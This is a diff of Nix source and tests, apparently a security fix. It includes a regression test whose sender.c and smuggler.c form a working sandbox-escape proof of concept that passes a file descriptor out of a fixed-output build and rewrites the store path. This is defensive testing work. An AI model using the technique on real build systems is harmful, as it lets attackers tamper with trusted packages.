||||
|
||||
@@ -11,6 +11,8 @@ static void checkName(std::string_view path, std::string_view name)
|
||||
if (name.size() > StorePath::MaxPathLen)
|
||||
throw BadStorePath("store path '%s' has a name longer than %d characters",
|
||||
path, StorePath::MaxPathLen);
|
||||
if (name[0] == '.')
|
||||
throw BadStorePath("store path '%s' starts with illegal character '.'", path);
|
||||
// See nameRegexStr for the definition
|
||||
for (auto c : name)
|
||||
if (!((c >= '0' && c <= '9')
|
||||
|
||||
@@ -42,7 +42,10 @@ void SSHMaster::addCommonSSHOpts(Strings & args)
|
||||
}
|
||||
|
||||
bool SSHMaster::isMasterRunning() {
|
||||
auto res = runProgram(RunOptions {.program = "ssh", .args = {"-O", "check", host}, .mergeStderrToStdout = true});
|
||||
Strings args = {"-O", "check", host};
|
||||
addCommonSSHOpts(args);
|
||||
|
||||
auto res = runProgram(RunOptions {.program = "ssh", .args = args, .mergeStderrToStdout = true});
|
||||
return res.first == 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -39,6 +39,7 @@ TEST_DONT_PARSE(double_star, "**")
|
||||
TEST_DONT_PARSE(star_first, "*,foo")
|
||||
TEST_DONT_PARSE(star_second, "foo,*")
|
||||
TEST_DONT_PARSE(bang, "foo!o")
|
||||
TEST_DONT_PARSE(dotfile, ".gitignore")
|
||||
|
||||
#undef TEST_DONT_PARSE
|
||||
|
||||
@@ -101,8 +102,12 @@ Gen<StorePathName> Arbitrary<StorePathName>::arbitrary()
|
||||
pre += '-';
|
||||
break;
|
||||
case 64:
|
||||
pre += '.';
|
||||
break;
|
||||
// names aren't permitted to start with a period,
|
||||
// so just fall through to the next case here
|
||||
if (c != 0) {
|
||||
pre += '.';
|
||||
break;
|
||||
}
|
||||
case 65:
|
||||
pre += '_';
|
||||
break;
|
||||
|
||||
@@ -144,6 +144,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
|
||||
}
|
||||
}
|
||||
|
||||
void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
|
||||
{
|
||||
return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
|
||||
}
|
||||
|
||||
void renameFile(const Path & oldName, const Path & newName)
|
||||
{
|
||||
fs::rename(oldName, newName);
|
||||
|
||||
@@ -1853,6 +1853,7 @@ void setStackSize(size_t stackSize)
|
||||
|
||||
#if __linux__
|
||||
static AutoCloseFD fdSavedMountNamespace;
|
||||
static AutoCloseFD fdSavedRoot;
|
||||
#endif
|
||||
|
||||
void saveMountNamespace()
|
||||
@@ -1860,10 +1861,11 @@ void saveMountNamespace()
|
||||
#if __linux__
|
||||
static std::once_flag done;
|
||||
std::call_once(done, []() {
|
||||
AutoCloseFD fd = open("/proc/self/ns/mnt", O_RDONLY);
|
||||
if (!fd)
|
||||
fdSavedMountNamespace = open("/proc/self/ns/mnt", O_RDONLY);
|
||||
if (!fdSavedMountNamespace)
|
||||
throw SysError("saving parent mount namespace");
|
||||
fdSavedMountNamespace = std::move(fd);
|
||||
|
||||
fdSavedRoot = open("/proc/self/root", O_RDONLY);
|
||||
});
|
||||
#endif
|
||||
}
|
||||
@@ -1876,9 +1878,16 @@ void restoreMountNamespace()
|
||||
|
||||
if (fdSavedMountNamespace && setns(fdSavedMountNamespace.get(), CLONE_NEWNS) == -1)
|
||||
throw SysError("restoring parent mount namespace");
|
||||
if (chdir(savedCwd.c_str()) == -1) {
|
||||
throw SysError("restoring cwd");
|
||||
|
||||
if (fdSavedRoot) {
|
||||
if (fchdir(fdSavedRoot.get()))
|
||||
throw SysError("chdir into saved root");
|
||||
if (chroot("."))
|
||||
throw SysError("chroot into saved root");
|
||||
}
|
||||
|
||||
if (chdir(savedCwd.c_str()) == -1)
|
||||
throw SysError("restoring cwd");
|
||||
} catch (Error & e) {
|
||||
debug(e.msg());
|
||||
}
|
||||
|
||||
@@ -276,6 +276,13 @@ void renameFile(const Path & src, const Path & dst);
|
||||
*/
|
||||
void moveFile(const Path & src, const Path & dst);
|
||||
|
||||
/**
|
||||
* Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
|
||||
* `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
|
||||
* with the guaranty that the destination will be “fresh”, with no stale inode
|
||||
* or file descriptor pointing to it).
|
||||
*/
|
||||
void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
|
||||
|
||||
/**
|
||||
* Wrappers arount read()/write() that read/write exactly the
|
||||
|
||||
@@ -35,3 +35,9 @@ nix-instantiate --eval -E 'assert 1 + 2 == 3; true'
|
||||
# Check that symlink cycles don't cause a hang.
|
||||
ln -sfn cycle.nix $TEST_ROOT/cycle.nix
|
||||
(! nix eval --file $TEST_ROOT/cycle.nix)
|
||||
|
||||
# Check that relative symlinks are resolved correctly.
|
||||
mkdir -p $TEST_ROOT/xyzzy $TEST_ROOT/foo
|
||||
ln -sfn ../xyzzy $TEST_ROOT/foo/bar
|
||||
printf 123 > $TEST_ROOT/xyzzy/default.nix
|
||||
[[ $(nix eval --impure --expr "import $TEST_ROOT/foo/bar") = 123 ]]
|
||||
|
||||
@@ -1,4 +1,28 @@
|
||||
builtins.pathExists (builtins.toPath ./lib.nix)
|
||||
builtins.pathExists (./lib.nix)
|
||||
&& builtins.pathExists (builtins.toPath ./lib.nix)
|
||||
&& builtins.pathExists (builtins.toString ./lib.nix)
|
||||
&& !builtins.pathExists (builtins.toString ./lib.nix + "/")
|
||||
&& !builtins.pathExists (builtins.toString ./lib.nix + "/.")
|
||||
# FIXME
|
||||
# && !builtins.pathExists (builtins.toString ./lib.nix + "/..")
|
||||
# && !builtins.pathExists (builtins.toString ./lib.nix + "/a/..")
|
||||
# && !builtins.pathExists (builtins.toString ./lib.nix + "/../lib.nix")
|
||||
&& !builtins.pathExists (builtins.toString ./lib.nix + "/./")
|
||||
&& !builtins.pathExists (builtins.toString ./lib.nix + "/./.")
|
||||
&& builtins.pathExists (builtins.toString ./.. + "/lang/lib.nix")
|
||||
&& !builtins.pathExists (builtins.toString ./.. + "lang/lib.nix")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang/lib.nix")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang/./lib.nix")
|
||||
&& builtins.pathExists (builtins.toString ./.)
|
||||
&& builtins.pathExists (builtins.toString ./. + "/")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang/")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang/.")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang/./")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang//./")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang/..")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang/../")
|
||||
&& builtins.pathExists (builtins.toString ./. + "/../lang/..//")
|
||||
&& builtins.pathExists (builtins.toPath (builtins.toString ./lib.nix))
|
||||
&& !builtins.pathExists (builtins.toPath (builtins.toString ./bla.nix))
|
||||
&& builtins.pathExists ./lib.nix
|
||||
|
||||
90
tests/nixos/ca-fd-leak/default.nix
Normal file
90
tests/nixos/ca-fd-leak/default.nix
Normal file
@@ -0,0 +1,90 @@
|
||||
# Nix is a sandboxed build system. But Not everything can be handled inside its
|
||||
# sandbox: Network access is normally blocked off, but to download sources, a
|
||||
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
|
||||
# The detail here is not important, but in our case it means that the hash of
|
||||
# the output has to be known beforehand. And if you know that, you get a few
|
||||
# rights: you no longer run inside a special network namespace!
|
||||
#
|
||||
# Now, Linux has a special feature, that not many other unices do: Abstract
|
||||
# unix domain sockets! Not only that, but those are namespaced using the
|
||||
# network namespace! That means that we have a way to create sockets that are
|
||||
# available in every single fixed-output derivation, and also all processes
|
||||
# running on the host machine! Now, this wouldn't be that much of an issue, as,
|
||||
# well, the whole idea is that the output is pure, and all processes in the
|
||||
# sandbox are killed before finalizing the output. What if we didn't need those
|
||||
# processes at all? Unix domain sockets have a semi-known trick: you can pass
|
||||
# file descriptors around!
|
||||
# This makes it possible to exfiltrate a file-descriptor with write access to
|
||||
# $out outside of the sandbox. And that file-descriptor can be used to modify
|
||||
# the contents of the store path after it has been registered.
|
||||
|
||||
{ config, ... }:
|
||||
|
||||
let
|
||||
pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||
|
||||
# Simple C program that sends a a file descriptor to `$out` to a Unix
|
||||
# domain socket.
|
||||
# Compiled statically so that we can easily send it to the VM and use it
|
||||
# inside the build sandbox.
|
||||
sender = pkgs.runCommandWith {
|
||||
name = "sender";
|
||||
stdenv = pkgs.pkgsStatic.stdenv;
|
||||
} ''
|
||||
$CC -static -o $out ${./sender.c}
|
||||
'';
|
||||
|
||||
# Okay, so we have a file descriptor shipped out of the FOD now. But the
|
||||
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
|
||||
# lives in a mount namespace where it is not! So even when this file exists
|
||||
# in the actual Nix store, we're capable of just modifying its contents...
|
||||
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
|
||||
|
||||
# The abstract socket path used to exfiltrate the file descriptor
|
||||
socketName = "FODSandboxExfiltrationSocket";
|
||||
in
|
||||
{
|
||||
name = "ca-fd-leak";
|
||||
|
||||
nodes.machine =
|
||||
{ config, lib, pkgs, ... }:
|
||||
{ virtualisation.writableStore = true;
|
||||
nix.settings.substituters = lib.mkForce [ ];
|
||||
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
|
||||
};
|
||||
|
||||
testScript = { nodes }: ''
|
||||
start_all()
|
||||
|
||||
machine.succeed("echo hello")
|
||||
# Start the smuggler server
|
||||
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
|
||||
|
||||
# Build the smuggled derivation.
|
||||
# This will connect to the smuggler server and send it the file descriptor
|
||||
machine.succeed(r"""
|
||||
nix-build -E '
|
||||
builtins.derivation {
|
||||
name = "smuggled";
|
||||
system = builtins.currentSystem;
|
||||
# look ma, no tricks!
|
||||
outputHashMode = "flat";
|
||||
outputHashAlgo = "sha256";
|
||||
outputHash = builtins.hashString "sha256" "hello, world\n";
|
||||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
|
||||
}'
|
||||
""".strip())
|
||||
|
||||
|
||||
# Tell the smuggler server that we're done
|
||||
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||
|
||||
# Check that the file was not modified
|
||||
machine.succeed(r"""
|
||||
cat ./result
|
||||
test "$(cat ./result)" = "hello, world"
|
||||
""".strip())
|
||||
'';
|
||||
|
||||
}
|
||||
65
tests/nixos/ca-fd-leak/sender.c
Normal file
65
tests/nixos/ca-fd-leak/sender.c
Normal file
@@ -0,0 +1,65 @@
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
assert(argc == 2);
|
||||
|
||||
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
|
||||
// Set up a abstract domain socket path to connect to.
|
||||
struct sockaddr_un data;
|
||||
data.sun_family = AF_UNIX;
|
||||
data.sun_path[0] = 0;
|
||||
strcpy(data.sun_path + 1, argv[1]);
|
||||
|
||||
// Now try to connect, To ensure we work no matter what order we are
|
||||
// executed in, just busyloop here.
|
||||
int res = -1;
|
||||
while (res < 0) {
|
||||
res = connect(sock, (const struct sockaddr *)&data,
|
||||
offsetof(struct sockaddr_un, sun_path)
|
||||
+ strlen(argv[1])
|
||||
+ 1);
|
||||
if (res < 0 && errno != ECONNREFUSED) perror("connect");
|
||||
if (errno != ECONNREFUSED) break;
|
||||
}
|
||||
|
||||
// Write our message header.
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_control = malloc(128);
|
||||
msg.msg_controllen = 128;
|
||||
|
||||
// Write an SCM_RIGHTS message containing the output path.
|
||||
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
hdr->cmsg_len = CMSG_LEN(sizeof(int));
|
||||
hdr->cmsg_level = SOL_SOCKET;
|
||||
hdr->cmsg_type = SCM_RIGHTS;
|
||||
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
|
||||
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
|
||||
|
||||
msg.msg_controllen = CMSG_SPACE(sizeof(int));
|
||||
|
||||
// Write a single null byte too.
|
||||
msg.msg_iov = malloc(sizeof(struct iovec));
|
||||
msg.msg_iov[0].iov_base = "";
|
||||
msg.msg_iov[0].iov_len = 1;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
// Send it to the othher side of this connection.
|
||||
res = sendmsg(sock, &msg, 0);
|
||||
if (res < 0) perror("sendmsg");
|
||||
int buf;
|
||||
|
||||
// Wait for the server to close the socket, implying that it has
|
||||
// received the commmand.
|
||||
recv(sock, (void *)&buf, sizeof(int), 0);
|
||||
}
|
||||
66
tests/nixos/ca-fd-leak/smuggler.c
Normal file
66
tests/nixos/ca-fd-leak/smuggler.c
Normal file
@@ -0,0 +1,66 @@
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
assert(argc == 2);
|
||||
|
||||
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
|
||||
// Bind to the socket.
|
||||
struct sockaddr_un data;
|
||||
data.sun_family = AF_UNIX;
|
||||
data.sun_path[0] = 0;
|
||||
strcpy(data.sun_path + 1, argv[1]);
|
||||
int res = bind(sock, (const struct sockaddr *)&data,
|
||||
offsetof(struct sockaddr_un, sun_path)
|
||||
+ strlen(argv[1])
|
||||
+ 1);
|
||||
if (res < 0) perror("bind");
|
||||
|
||||
res = listen(sock, 1);
|
||||
if (res < 0) perror("listen");
|
||||
|
||||
int smuggling_fd = -1;
|
||||
|
||||
// Accept the connection a first time to receive the file descriptor.
|
||||
fprintf(stderr, "%s\n", "Waiting for the first connection");
|
||||
int a = accept(sock, 0, 0);
|
||||
if (a < 0) perror("accept");
|
||||
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_control = malloc(128);
|
||||
msg.msg_controllen = 128;
|
||||
|
||||
// Receive the file descriptor as sent by the smuggler.
|
||||
recvmsg(a, &msg, 0);
|
||||
|
||||
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
while (hdr) {
|
||||
if (hdr->cmsg_level == SOL_SOCKET
|
||||
&& hdr->cmsg_type == SCM_RIGHTS) {
|
||||
|
||||
// Grab the copy of the file descriptor.
|
||||
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
|
||||
}
|
||||
|
||||
hdr = CMSG_NXTHDR(&msg, hdr);
|
||||
}
|
||||
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
|
||||
close(a);
|
||||
|
||||
// Wait for a second connection, which will tell us that the build is
|
||||
// done
|
||||
a = accept(sock, 0, 0);
|
||||
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
|
||||
// Write a new content to the file
|
||||
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
|
||||
char * new_content = "Pwned\n";
|
||||
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
|
||||
if (written_bytes != strlen(new_content)) perror("write");
|
||||
}
|
||||
@@ -79,6 +79,15 @@ in {
|
||||
server.copy_from_host("key.pub", "/root/.ssh/authorized_keys")
|
||||
server.succeed("systemctl restart sshd")
|
||||
client.succeed(f"ssh -o StrictHostKeyChecking=no {server.name} 'echo hello world'")
|
||||
client.succeed(f"ssh -O check {server.name}")
|
||||
client.succeed(f"ssh -O exit {server.name}")
|
||||
client.fail(f"ssh -O check {server.name}")
|
||||
|
||||
# Check that an explicit master will work
|
||||
client.succeed(f"ssh -MNfS /tmp/master {server.name}")
|
||||
client.succeed(f"ssh -S /tmp/master -O check {server.name}")
|
||||
client.succeed("NIX_SSHOPTS='-oControlPath=/tmp/master' nix copy --to ssh://server ${pkgA} >&2")
|
||||
client.succeed(f"ssh -S /tmp/master -O exit {server.name}")
|
||||
|
||||
# Copy the closure of package B from the server to the client, using ssh-ng.
|
||||
client.fail("nix-store --check-validity ${pkgB}")
|
||||
|
||||
84
tests/nixos/tarball-flakes.nix
Normal file
84
tests/nixos/tarball-flakes.nix
Normal file
@@ -0,0 +1,84 @@
|
||||
{ lib, config, nixpkgs, ... }:
|
||||
|
||||
let
|
||||
pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||
|
||||
root = pkgs.runCommand "nixpkgs-flake" {}
|
||||
''
|
||||
mkdir -p $out/stable
|
||||
|
||||
set -x
|
||||
dir=nixpkgs-${nixpkgs.shortRev}
|
||||
cp -prd ${nixpkgs} $dir
|
||||
# Set the correct timestamp in the tarball.
|
||||
find $dir -print0 | xargs -0 touch -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${builtins.substring 12 2 nixpkgs.lastModifiedDate} --
|
||||
tar cfz $out/stable/${nixpkgs.rev}.tar.gz $dir --hard-dereference
|
||||
|
||||
echo 'Redirect "/latest.tar.gz" "/stable/${nixpkgs.rev}.tar.gz"' > $out/.htaccess
|
||||
|
||||
echo 'Header set Link "<http://localhost/stable/${nixpkgs.rev}.tar.gz?rev=${nixpkgs.rev}&revCount=1234>; rel=\"immutable\""' > $out/stable/.htaccess
|
||||
'';
|
||||
in
|
||||
|
||||
{
|
||||
name = "tarball-flakes";
|
||||
|
||||
nodes =
|
||||
{
|
||||
machine =
|
||||
{ config, pkgs, ... }:
|
||||
{ networking.firewall.allowedTCPPorts = [ 80 ];
|
||||
|
||||
services.httpd.enable = true;
|
||||
services.httpd.adminAddr = "foo@example.org";
|
||||
services.httpd.extraConfig = ''
|
||||
ErrorLog syslog:local6
|
||||
'';
|
||||
services.httpd.virtualHosts."localhost" =
|
||||
{ servedDirs =
|
||||
[ { urlPath = "/";
|
||||
dir = root;
|
||||
}
|
||||
];
|
||||
};
|
||||
|
||||
virtualisation.writableStore = true;
|
||||
virtualisation.diskSize = 2048;
|
||||
virtualisation.additionalPaths = [ pkgs.hello pkgs.fuse ];
|
||||
virtualisation.memorySize = 4096;
|
||||
nix.settings.substituters = lib.mkForce [ ];
|
||||
nix.extraOptions = "experimental-features = nix-command flakes";
|
||||
};
|
||||
};
|
||||
|
||||
testScript = { nodes }: ''
|
||||
# fmt: off
|
||||
import json
|
||||
|
||||
start_all()
|
||||
|
||||
machine.wait_for_unit("httpd.service")
|
||||
|
||||
out = machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz")
|
||||
print(out)
|
||||
info = json.loads(out)
|
||||
|
||||
# Check that we got redirected to the immutable URL.
|
||||
assert info["locked"]["url"] == "http://localhost/stable/${nixpkgs.rev}.tar.gz"
|
||||
|
||||
# Check that we got the rev and revCount attributes.
|
||||
assert info["revision"] == "${nixpkgs.rev}"
|
||||
assert info["revCount"] == 1234
|
||||
|
||||
# Check that fetching with rev/revCount/narHash succeeds.
|
||||
machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?rev=" + info["revision"])
|
||||
machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?revCount=" + str(info["revCount"]))
|
||||
machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?narHash=" + info["locked"]["narHash"])
|
||||
|
||||
# Check that fetching fails if we provide incorrect attributes.
|
||||
machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?rev=493300eb13ae6fb387fbd47bf54a85915acc31c0")
|
||||
machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?revCount=789")
|
||||
machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?narHash=sha256-tbudgBSg+bHWHiHnlteNzN8TUvI80ygS9IULh4rklEw=")
|
||||
'';
|
||||
|
||||
}
|
||||
@@ -9,6 +9,7 @@ rm -rf $tarroot
|
||||
mkdir -p $tarroot
|
||||
cp dependencies.nix $tarroot/default.nix
|
||||
cp config.nix dependencies.builder*.sh $tarroot/
|
||||
touch -d '@1000000000' $tarroot $tarroot/*
|
||||
|
||||
hash=$(nix hash path $tarroot)
|
||||
|
||||
@@ -36,6 +37,8 @@ test_tarball() {
|
||||
nix-build -o $TEST_ROOT/result -E "import (fetchTree { type = \"tarball\"; url = file:///does-not-exist/must-remain-unused/$tarball; narHash = \"$hash\"; })"
|
||||
expectStderr 102 nix-build -o $TEST_ROOT/result -E "import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"sha256-xdKv2pq/IiwLSnBBJXW8hNowI4MrdZfW+SYqDQs7Tzc=\"; })" | grep 'NAR hash mismatch in input'
|
||||
|
||||
[[ $(nix eval --impure --expr "(fetchTree file://$tarball).lastModified") = 1000000000 ]]
|
||||
|
||||
nix-instantiate --strict --eval -E "!((import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; })) ? submodules)" >&2
|
||||
nix-instantiate --strict --eval -E "!((import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; })) ? submodules)" 2>&1 | grep 'true'
|
||||
|
||||
|
||||
Reference in New Issue
Block a user